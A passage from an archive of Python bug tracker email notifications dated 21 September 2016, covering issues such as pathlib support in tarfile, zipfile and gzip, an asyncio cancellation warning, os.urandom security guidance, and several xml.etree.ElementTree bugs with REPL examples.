While I think refactoring around changes is practical [1], I agree that I made too much change.  I'll reduce diff size.

[1] Changing without refactoring is hard sometimes. Whole file refactoring
    without actual change may cause many conflicts against other patches.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28201>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:31:34 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 21 Sep 2016 07:31:34 +0000
Subject: [issue28230] tarfile does not support pathlib
Message-ID: <1474443094.28.0.886211310116.issue28230@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
files: open-tarfile.stoneleaf.patch
keywords: patch
nosy: brett.cannon, ethan.furman
priority: normal
severity: normal
stage: patch review
status: open
title: tarfile does not support pathlib
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44772/open-tarfile.stoneleaf.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28230>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:32:17 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 21 Sep 2016 07:32:17 +0000
Subject: [issue28231] zipfile does not support pathlib
Message-ID: <1474443137.0.0.514583317008.issue28231@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
files: open-zipfile.stoneleaf.patch
keywords: patch
nosy: brett.cannon, ethan.furman
priority: normal
severity: normal
stage: patch review
status: open
title: zipfile does not support pathlib
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44773/open-zipfile.stoneleaf.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28231>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:35:04 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 21 Sep 2016 07:35:04 +0000
Subject: [issue28225] bz2 does not support pathlib
Message-ID: <1474443304.08.0.670640094883.issue28225@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

I opened a similar issue before: issue27511. Feel free to close it.

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28225>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:50:41 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 07:50:41 +0000
Subject: [issue28232] asyncio: wrap_future() doesn't handle cancellation
 correctly
Message-ID: <1474444241.28.0.930866863134.issue28232@psf.upfronthosting.co.za>


New submission from STINNER Victor:

I noticed the following warning in test_asyncio (see above). It understand that when the asyncio Future ("destination" in _chain_future) is cancelled, _call_check_cancel() calls source_loop.call_soon_threadsafe(source.cancel) where source is a concurrent.futures.Future object.

Then futures.Future.cancel() calls self._invoke_callbacks() which calls _call_set_state() of _chain_future(). _call_set_state() calls dest_loop.call_soon_threadsafe(_set_state, destination, source) but at this point, the event loop is closed. Morever, destination (the asyncio future) is already cancelled, but it doesn't make sense to try to copy the state: source and destination are already cancelled.

I suggest to modify _call_set_state() to do nothing if destination is already cancelled:

    def _call_set_state(source):
        if destination.cancelled():
            return
        (...)

*But* I see that futures.Future has a set_running_or_notify_cancel() method which seems to be important to call. Maybe we should call it in this case?

    def _call_set_state(source):
        if destination.cancelled():
            source.set_running_or_notify_cancel()
            return
        (...)

--

The warning:


http://buildbot.python.org/all/builders/AMD64%20Windows8%203.6/builds/43/steps/test/logs/stdio

test_sock_sendall (test.test_asyncio.test_selector_events.BaseSelectorEventLoopTests) ... exception calling callback for <Future at 0xec840d1e28 state=finished returned NoneType>
Traceback (most recent call last):
  File "D:\buildarea\3.6.bolen-windows8\build\lib\concurrent\futures\_base.py", line 297, in _invoke_callbacks
    callback(self)
  File "D:\buildarea\3.6.bolen-windows8\build\lib\asyncio\futures.py", line 462, in _call_set_state
    dest_loop.call_soon_threadsafe(_set_state, destination, source)
  File "D:\buildarea\3.6.bolen-windows8\build\lib\asyncio\base_events.py", line 603, in call_soon_threadsafe
    handle = self._call_soon(callback, args)
  File "D:\buildarea\3.6.bolen-windows8\build\lib\asyncio\base_events.py", line 577, in _call_soon
    self._check_closed()
  File "D:\buildarea\3.6.bolen-windows8\build\lib\asyncio\base_events.py", line 356, in _check_closed
    raise RuntimeError('Event loop is closed')
RuntimeError: Event loop is closed
ok

----------
components: asyncio
messages: 277107
nosy: gvanrossum, haypo, yselivanov
priority: normal
severity: normal
status: open
title: asyncio: wrap_future() doesn't handle cancellation correctly
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28232>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:55:56 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Wed, 21 Sep 2016 07:55:56 +0000
Subject: [issue28203] complex() gives wrong error when the second argument has
 an invalid type
In-Reply-To: <1474270906.0.0.604707439727.issue28203@psf.upfronthosting.co.za>
Message-ID: <1474444556.93.0.341492317571.issue28203@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Thanks. I'll apply this shortly (but probably not before the weekend).

----------
assignee:  -> mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28203>
_______________________________________

From report at bugs.python.org  Wed Sep 21 04:11:43 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 08:11:43 +0000
Subject: [issue28231] zipfile does not support pathlib
Message-ID: <1474445503.11.0.219964117103.issue28231@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Shouldn't the ZipFile.filename attribute be converted to str?

If add support of pathlib, maybe add support of bytes?

The file name of ZipFile is only a part of the issue. There are other uses of file paths: paths for added files, path for extracted directory.

And there are internal paths in zip archive. Maybe it is worth to introduce new path-like type for them and provide pathlib-like interface to ZipFile. But this is separate not easy issue.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28231>
_______________________________________

From report at bugs.python.org  Wed Sep 21 04:14:19 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 08:14:19 +0000
Subject: [issue28230] tarfile does not support pathlib
Message-ID: <1474445659.85.0.66046771649.issue28230@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28230>
_______________________________________

From report at bugs.python.org  Wed Sep 21 04:33:01 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 08:33:01 +0000
Subject: [issue28227] gzip does not support pathlib
Message-ID: <1474446781.61.0.360502884347.issue28227@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28227>
_______________________________________

From report at bugs.python.org  Wed Sep 21 04:36:13 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 08:36:13 +0000
Subject: [issue28227] gzip does not support pathlib
Message-ID: <1474446973.31.0.180513637528.issue28227@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Since patches for gzip, bz2 and lzma are too similar, I think it is worth to merge them in one patch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28227>
_______________________________________

From report at bugs.python.org  Wed Sep 21 04:43:15 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 08:43:15 +0000
Subject: [issue28228] imghdr does not support pathlib
Message-ID: <1474447395.27.0.486002074041.issue28228@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28228>
_______________________________________

From report at bugs.python.org  Wed Sep 21 04:43:35 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 08:43:35 +0000
Subject: [issue28228] imghdr does not support pathlib
Message-ID: <1474447415.27.0.540202341554.issue28228@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
components: +Library (Lib)
type: behavior -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28228>
_______________________________________

From report at bugs.python.org  Wed Sep 21 04:57:43 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 21 Sep 2016 08:57:43 +0000
Subject: [issue28214] Improve exception reporting for problematic __set_name__
 attributes
In-Reply-To: <1474375122.62.0.719507311947.issue28214@psf.upfronthosting.co.za>
Message-ID: <1474448263.8.0.578103245668.issue28214@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

Good catch Serhiy - I'd completely missed that in the original review, and definitely agree we should make that fix independently of the exception chaining idea.

While that correction will fix the specific __getattr__ example given, we still have the problem of actual errors in looking up __set_name__ on the class (e.g. in a metaclass or in __getattribute__) and errors when calling it being hard to debug, as the traceback will point to the class header without giving the name of the offending attribute.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28214>
_______________________________________

From report at bugs.python.org  Wed Sep 21 05:01:31 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 21 Sep 2016 09:01:31 +0000
Subject: [issue28221] Unused indata in
 test_ssl.ThreadedTests.test_asyncore_server
In-Reply-To: <1474421705.12.0.343818942397.issue28221@psf.upfronthosting.co.za>
Message-ID: <1474448491.44.0.740863321348.issue28221@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Thanks for your investigation.

----------
assignee: christian.heimes -> 

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28221>
_______________________________________

From report at bugs.python.org  Wed Sep 21 05:02:30 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 21 Sep 2016 09:02:30 +0000
Subject: [issue27990] Provide a way to enable getrandom on Linux even when
 build system runs an older kernel
In-Reply-To: <1473216399.07.0.223374788136.issue27990@psf.upfronthosting.co.za>
Message-ID: <1474448550.18.0.294783903785.issue27990@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

I'm happy to close this as not even being a bug - the Fedora Python maintainers found that it was only specifically 3.5.1 that wasn't finding the necessary header files in the Fedora build root (and hence not even trying the syscall), while 3.5.0 and 3.5.2 were both fine.

----------
resolution:  -> not a bug
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27990>
_______________________________________

From report at bugs.python.org  Wed Sep 21 05:14:57 2016
From: report at bugs.python.org (Andrea De Pasquale)
Date: Wed, 21 Sep 2016 09:14:57 +0000
Subject: [issue27010] email library could "recover" from bad mime boundary
 like (some?) email clients do
In-Reply-To: <1463067718.45.0.558318505018.issue27010@psf.upfronthosting.co.za>
Message-ID: <1474449297.01.0.945011939075.issue27010@psf.upfronthosting.co.za>


Andrea De Pasquale added the comment:

To provide additional context, Microsoft has patched his Outlook client to be RFC2046-compliant. More details below:

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3366
https://technet.microsoft.com/library/security/MS16-107
http://www.certego.net/en/news/badepilogue-the-perfect-evasion/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27010>
_______________________________________

From report at bugs.python.org  Wed Sep 21 05:15:14 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 21 Sep 2016 09:15:14 +0000
Subject: [issue27292] Warn users that os.urandom() prior to 3.6 can return
 insecure values
In-Reply-To: <1465639674.0.0.865291084778.issue27292@psf.upfronthosting.co.za>
Message-ID: <1474449314.8.0.505831251145.issue27292@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

With the 3.6 os.urandom() implementation doing the right thing consistently cross-platform, our guidance for folks that care about the quality of the CSPRNG they use should be that they either upgrade to that version, or else ensure that the kernel CSPRNG is properly seeded before they run Python.

That is, I think the tone we're aiming for in the older docs now should be "You're using an older Python version, so if this problem description worries you, you need to either upgrade or else take the necessary steps to satisfy yourself that your host system's CSPRNG is properly configured", rather than the more passive "os.urandom() isn't necessarily secure" (with minimal guidance on what to do about it) that we've previously adopted.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27292>
_______________________________________

From report at bugs.python.org  Wed Sep 21 05:22:37 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 21 Sep 2016 09:22:37 +0000
Subject: [issue28201] dict: perturb shift should be done when first conflict
In-Reply-To: <1474259113.17.0.570923386086.issue28201@psf.upfronthosting.co.za>
Message-ID: <1474449757.18.0.545795469794.issue28201@psf.upfronthosting.co.za>


Changes by INADA Naoki <songofacandy at gmail.com>:


Added file: http://bugs.python.org/file44774/dict-perturb-shift.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28201>
_______________________________________

From report at bugs.python.org  Wed Sep 21 05:23:57 2016
From: report at bugs.python.org (Jeremy Kloth)
Date: Wed, 21 Sep 2016 09:23:57 +0000
Subject: [issue28224] Compilation warnings on Windows: export 'PyInit_xx'
 specified multiple times
In-Reply-To: <1474442469.56.0.286518199442.issue28224@psf.upfronthosting.co.za>
Message-ID: <1474449837.96.0.732410467733.issue28224@psf.upfronthosting.co.za>


Jeremy Kloth added the comment:

This is a known bug when compiling 64-bit extension modules.

http://bugs.python.org/issue9709
http://bugs.python.org/issue16779
http://bugs.python.org/issue20166

----------
nosy: +jkloth

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28224>
_______________________________________

From report at bugs.python.org  Wed Sep 21 05:50:17 2016
From: report at bugs.python.org (Alex R. Hoyling)
Date: Wed, 21 Sep 2016 09:50:17 +0000
Subject: [issue26513] platform.win32_ver() broken in 2.7.11
In-Reply-To: <1457473293.66.0.928061603359.issue26513@psf.upfronthosting.co.za>
Message-ID: <1474451417.38.0.432910629421.issue26513@psf.upfronthosting.co.za>


Alex R. Hoyling added the comment:

|| We now use 'product_type' on 3.5+ and 'product' on 2.7, so we should be good.

It actually looks like we use `product_type` on Python 2.7.12, not `product`.

On Python 2.7.12, on Windows Server 2008 R2:

  >>> import sys
  >>> sys.getwindowsversion().product
  Traceback (most recent call last):
    File "<stdin>", line 1, in <module>
  AttributeError: 'sys.getwindowsversion' object has no attribute 'product'
  >>> sys.getwindowsversion().product_type
  3

This would cause `platform.release()` to output '7' instead of '2008ServerR2'.

I don't think this issue is resolved.

----------
nosy: +arhoyling

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26513>
_______________________________________

From report at bugs.python.org  Wed Sep 21 05:54:58 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 21 Sep 2016 09:54:58 +0000
Subject: [issue28233] PyUnicode_FromFormatV can leak PyUnicodeWriter
Message-ID: <1474451698.31.0.974245540341.issue28233@psf.upfronthosting.co.za>


New submission from Christian Heimes:

PyUnicode_FromFormatV() does not call _PyUnicodeWriter_Finish() in p > 127 case and therefore leaks a PyUnicodeWriter instance.

----------
components: Interpreter Core
messages: 277118
nosy: christian.heimes
priority: normal
severity: normal
status: open
title: PyUnicode_FromFormatV can leak PyUnicodeWriter
type: resource usage
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28233>
_______________________________________

From report at bugs.python.org  Wed Sep 21 06:04:19 2016
From: report at bugs.python.org (Alex R. Hoyling)
Date: Wed, 21 Sep 2016 10:04:19 +0000
Subject: [issue26513] platform.win32_ver() broken in 2.7.11
In-Reply-To: <1457473293.66.0.928061603359.issue26513@psf.upfronthosting.co.za>
Message-ID: <1474452259.3.0.728877950369.issue26513@psf.upfronthosting.co.za>


Alex R. Hoyling added the comment:

In fact, at the tip of the 2.7 branch in `sysmodule.c` we have:

static PyStructSequence_Field windows_version_fields[] = {
    {"major", "Major version number"},
    {"minor", "Minor version number"},
    {"build", "Build number"},
    {"platform", "Operating system platform"},
    {"service_pack", "Latest Service Pack installed on the system"},
    {"service_pack_major", "Service Pack major version number"},
    {"service_pack_minor", "Service Pack minor version number"},
    {"suite_mask", "Bit mask identifying available product suites"},
    {"product_type", "System product type"},
    {0}
};

https://hg.python.org/cpython/file/2.7/Python/sysmodule.c

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26513>
_______________________________________

From report at bugs.python.org  Wed Sep 21 06:06:01 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 10:06:01 +0000
Subject: [issue28233] PyUnicode_FromFormatV can leak PyUnicodeWriter
In-Reply-To: <1474451698.31.0.974245540341.issue28233@psf.upfronthosting.co.za>
Message-ID: <1474452361.43.0.322923995278.issue28233@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +haypo, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28233>
_______________________________________

From report at bugs.python.org  Wed Sep 21 06:19:05 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 10:19:05 +0000
Subject: [issue27990] Provide a way to enable getrandom on Linux even when
 build system runs an older kernel
In-Reply-To: <1474448550.18.0.294783903785.issue27990@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwbUyTuiCCF_Xouh5RM0BQt7cu=T=k_dPRCE5qUXYA8cdg@mail.gmail.com>


STINNER Victor added the comment:

Oh it's strange that only 3.5.1 has the issue. Happy to read that the
problem is already solved!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27990>
_______________________________________

From report at bugs.python.org  Wed Sep 21 06:27:48 2016
From: report at bugs.python.org (py.user)
Date: Wed, 21 Sep 2016 10:27:48 +0000
Subject: [issue28234] In xml.etree.ElementTree docs there are many absent
 Element class links
Message-ID: <1474453668.8.0.0192177985612.issue28234@psf.upfronthosting.co.za>


New submission from py.user:

https://docs.python.org/3/library/xml.etree.elementtree.html#reference

1. Comment
2. iselement()
3. ProcessingInstruction
4. SubElement
5. Element.find()
6. ElementTree._setroot()
7. TreeBuilder

Applied a patch to the issue that adds Element class links.

----------
assignee: docs at python
components: Documentation, Library (Lib), XML
files: element-link.diff
keywords: patch
messages: 277121
nosy: docs at python, py.user
priority: normal
severity: normal
status: open
title: In xml.etree.ElementTree docs there are many absent Element class links
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44775/element-link.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28234>
_______________________________________

From report at bugs.python.org  Wed Sep 21 07:05:33 2016
From: report at bugs.python.org (Petr Viktorin)
Date: Wed, 21 Sep 2016 11:05:33 +0000
Subject: [issue27990] Provide a way to enable getrandom on Linux even when
 build system runs an older kernel
In-Reply-To: <1473216399.07.0.223374788136.issue27990@psf.upfronthosting.co.za>
Message-ID: <1474455933.76.0.186986511018.issue27990@psf.upfronthosting.co.za>


Petr Viktorin added the comment:

Indeed, I'd close WONTFIX.

IMO, applications that:
- run at early boot, and
- get built with an older kernel than they run on
fall squarely into the enterprise distro turf, and CPython code shouldn't include hacks needed to make this work. That's not to say I'm opposed to collaboration if anyone else needs to solve this problem ? quite the opposite. But I think a vendor-specific patch is the right layer here.

As currently documented, the getrandom call is not used on older kernels.

(Btw, no, it's not easy for *me* to help upgrading Fedora builders. But I can easily maintain a vendor patch for Python, if it comes to that.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27990>
_______________________________________

From report at bugs.python.org  Wed Sep 21 07:09:34 2016
From: report at bugs.python.org (Petr Viktorin)
Date: Wed, 21 Sep 2016 11:09:34 +0000
Subject: [issue27990] Provide a way to enable getrandom on Linux even when
 build system runs an older kernel
In-Reply-To: <1473216399.07.0.223374788136.issue27990@psf.upfronthosting.co.za>
Message-ID: <1474456174.95.0.124725514013.issue27990@psf.upfronthosting.co.za>


Petr Viktorin added the comment:

(Please ignore that comment ? I was on vacation and, when clearing my backlog, got to this issue before the Fedora discussions.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27990>
_______________________________________

From report at bugs.python.org  Wed Sep 21 07:24:16 2016
From: report at bugs.python.org (py.user)
Date: Wed, 21 Sep 2016 11:24:16 +0000
Subject: [issue28235] In xml.etree.ElementTree docs there is no parser
 argument in fromstring()
Message-ID: <1474457056.95.0.329737294315.issue28235@psf.upfronthosting.co.za>


New submission from py.user:

https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.fromstring

The function has argument parser that works like in XML() function, but in the description there is no info about it (copied from XML() description).

Applied a patch to the issue that adds argument to the signature and describes it.

----------
assignee: docs at python
components: Documentation, Library (Lib), XML
files: fromstring-parser.diff
keywords: patch
messages: 277124
nosy: docs at python, py.user
priority: normal
severity: normal
status: open
title: In xml.etree.ElementTree docs there is no parser argument in fromstring()
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44776/fromstring-parser.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28235>
_______________________________________

From report at bugs.python.org  Wed Sep 21 07:52:16 2016
From: report at bugs.python.org (py.user)
Date: Wed, 21 Sep 2016 11:52:16 +0000
Subject: [issue28236] In xml.etree.ElementTree Element can be created with
 empty and None tag
Message-ID: <1474458735.99.0.896501689259.issue28236@psf.upfronthosting.co.za>


New submission from py.user:

It is possible to create and serialize an Element instance with empty string tag value:

>>> import xml.etree.ElementTree as etree
>>>
>>> root = etree.Element('')
>>> elem = etree.SubElement(root, '')
>>>
>>> root
<Element '' at 0xb744e34c>
>>> elem
<Element '' at 0xb744e374>
>>>
>>> etree.tostring(root)
b'<>< /></>'
>>> etree.dump(root)
<>< /></>
>>>


It is possible to create and serialize an Element instance with None tag value:

>>> import xml.etree.ElementTree as etree
>>>
>>> root = etree.Element(None)
>>> elem = etree.SubElement(root, None)
>>>
>>> root
<Element None at 0xb7468c34>
>>> root[0]
<Element None at 0xb746334c>
>>> len(root)
1
>>> etree.tostring(root)
b''
>>> etree.dump(root)

>>>


And same try with site package lxml raises an exception both for empty string and for None:

>>> import lxml.etree
>>>
>>> lxml.etree.Element('')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "lxml.etree.pyx", line 2809, in lxml.etree.Element (src/lxml/lxml.etree.c:61393)
  File "apihelpers.pxi", line 87, in lxml.etree._makeElement (src/lxml/lxml.etree.c:13390)
  File "apihelpers.pxi", line 1446, in lxml.etree._getNsTag (src/lxml/lxml.etree.c:25978)
  File "apihelpers.pxi", line 1481, in lxml.etree.__getNsTag (src/lxml/lxml.etree.c:26304)
ValueError: Empty tag name
>>>
>>> lxml.etree.Element(None)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "lxml.etree.pyx", line 2809, in lxml.etree.Element (src/lxml/lxml.etree.c:61393)
  File "apihelpers.pxi", line 87, in lxml.etree._makeElement (src/lxml/lxml.etree.c:13390)
  File "apihelpers.pxi", line 1446, in lxml.etree._getNsTag (src/lxml/lxml.etree.c:25978)
  File "apihelpers.pxi", line 1464, in lxml.etree.__getNsTag (src/lxml/lxml.etree.c:26114)
  File "apihelpers.pxi", line 1342, in lxml.etree._utf8 (src/lxml/lxml.etree.c:24770)
TypeError: Argument must be bytes or unicode, got 'NoneType'
>>>

----------
components: Library (Lib), XML
messages: 277125
nosy: py.user
priority: normal
severity: normal
status: open
title: In xml.etree.ElementTree Element can be created with empty and None tag
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28236>
_______________________________________

From report at bugs.python.org  Wed Sep 21 07:56:06 2016
From: report at bugs.python.org (Christian Heimes)
Date: Wed, 21 Sep 2016 11:56:06 +0000
Subject: [issue28042] Coverity Scan defects in new dict code
In-Reply-To: <1473419470.64.0.526476875615.issue28042@psf.upfronthosting.co.za>
Message-ID: <1474458966.83.0.0519058826966.issue28042@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The warnings are false positives. Coverity does not understand the relationship between dict size and union members. I have closed all issues related to DK_ENTRIES().

There is still one issue left that seems worth looking into:

15. negative_return_fn: Function lookdict_index(mp->ma_keys, ep->me_hash, i) returns a negative number. [show details]
    16. var_assign: Assigning: signed variable j = lookdict_index.
2862    j = lookdict_index(mp->ma_keys, ep->me_hash, i);
2863    assert(j >= 0);
2864    assert(dk_get_index(mp->ma_keys, j) == i);
    CID 1372706 (#1 of 1): Improper use of negative value (NEGATIVE_RETURNS)17. negative_returns: Passing variable j to a parameter that cannot be negative. [show details]
2865    dk_set_index(mp->ma_keys, j, DKIX_DUMMY);

----------
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28042>
_______________________________________

From report at bugs.python.org  Wed Sep 21 08:19:15 2016
From: report at bugs.python.org (py.user)
Date: Wed, 21 Sep 2016 12:19:15 +0000
Subject: [issue28237] In xml.etree.ElementTree bytes tag or attributes raises
 on serialization
Message-ID: <1474460355.16.0.102193673343.issue28237@psf.upfronthosting.co.za>


New submission from py.user:

https://docs.python.org/3/library/xml.etree.elementtree.html#xml.etree.ElementTree.Element
"The element name, attribute names, and attribute values can be either bytestrings or Unicode strings."


The element name, attribute names, and attribute values can have bytes type, but they can't be serialized:

>>> import xml.etree.ElementTree as etree
>>>
>>> root = etree.Element(b'x')
>>> root
<Element b'x' at 0xb739934c>
>>>
>>> elem = etree.SubElement(root, b'y', {b'a': b'b'})
>>> elem
<Element b'y' at 0xb7399374>
>>> elem.attrib
{b'a': b'b'}
>>>
>>> etree.dump(root)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 1224, in dump
    elem.write(sys.stdout, encoding="unicode")
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 826, in write
    qnames, namespaces = _namespaces(self._root, default_namespace)
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 937, in _namespaces
    _raise_serialization_error(tag)
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 1105, in _raise_serialization_error
    "cannot serialize %r (type %s)" % (text, type(text).__name__)
TypeError: cannot serialize b'x' (type bytes)
>>>
>>> etree.tostring(root)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 1171, in tostring
    ElementTree(element).write(stream, encoding, method=method)
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 826, in write
    qnames, namespaces = _namespaces(self._root, default_namespace)
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 937, in _namespaces
    _raise_serialization_error(tag)
  File "/usr/lib/python3.3/xml/etree/ElementTree.py", line 1105, in _raise_serialization_error
    "cannot serialize %r (type %s)" % (text, type(text).__name__)
TypeError: cannot serialize b'x' (type bytes)
>>>


Also attribute name can be serialized, but it holds the letter "b" and single quotes:

>>> import xml.etree.ElementTree as etree
>>> 
>>> e = etree.Element('a', {b'x': '1'})
>>> etree.tostring(e)
b'<a b\'x\'="1" />'
>>>


And same try with site package lxml works fine for all cases because it converts bytes to unicode strings right away:

>>> import lxml.etree
>>>
>>> root = lxml.etree.Element(b'x')
>>> root
<Element x at 0xb6ff00cc>
>>>
>>> elem = lxml.etree.SubElement(root, b'y', {b'a': b'b'})
>>> elem
<Element y at 0xb73a834c>
>>>
>>> elem.attrib
{'a': 'b'}
>>>

----------
components: Library (Lib), XML
messages: 277128
nosy: py.user
priority: normal
severity: normal
status: open
title: In xml.etree.ElementTree bytes tag or attributes raises on serialization
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28237>
_______________________________________

From report at bugs.python.org  Wed Sep 21 08:19:50 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 21 Sep 2016 12:19:50 +0000
Subject: [issue28233] PyUnicode_FromFormatV can leak PyUnicodeWriter
In-Reply-To: <1474451698.31.0.974245540341.issue28233@psf.upfronthosting.co.za>
Message-ID: <20160921121947.34210.61796.FA0EB6A8@psf.io>


Roundup Robot added the comment:

New changeset 00f090563f1b by Victor Stinner in branch '3.5':
Fix PyUnicode_FromFormatV() error handling
https://hg.python.org/cpython/rev/00f090563f1b

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28233>
_______________________________________

From report at bugs.python.org  Wed Sep 21 08:38:13 2016
From: report at bugs.python.org (py.user)
Date: Wed, 21 Sep 2016 12:38:13 +0000
Subject: [issue28238] In xml.etree.ElementTree findall() can't search all
 elements in a namespace
Message-ID: <1474461492.99.0.941056742104.issue28238@psf.upfronthosting.co.za>


New submission from py.user:

In the example there are two namespaces in one document, but it is impossible to search all elements only in one namespace:

>>> import xml.etree.ElementTree as etree
>>>
>>> s = '<feed xmlns="http://def" xmlns:x="http://x"><a/><x:b/></feed>'
>>>
>>> root = etree.fromstring(s)
>>>
>>> root.findall('*')
[<Element '{http://def}a' at 0xb73961bc>, <Element '{http://x}b' at 0xb7396c34>]
>>>
>>> root.findall('{http://def}*')
[]
>>>


And same try with site package lxml works fine:

>>> import lxml.etree as etree
>>>
>>> s = '<feed xmlns="http://def" xmlns:x="http://x"><a/><x:b/></feed>'
>>>
>>> root = etree.fromstring(s)
>>>
>>> root.findall('*')
[<Element {http://def}a at 0xb70ab11c>, <Element {http://x}b at 0xb70ab144>]
>>>
>>> root.findall('{http://def}*')
[<Element {http://def}a at 0xb70ab11c>]
>>>

----------
components: Library (Lib), XML
messages: 277130
nosy: py.user
priority: normal
severity: normal
status: open
title: In xml.etree.ElementTree findall() can't search all elements in a namespace
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28238>
_______________________________________

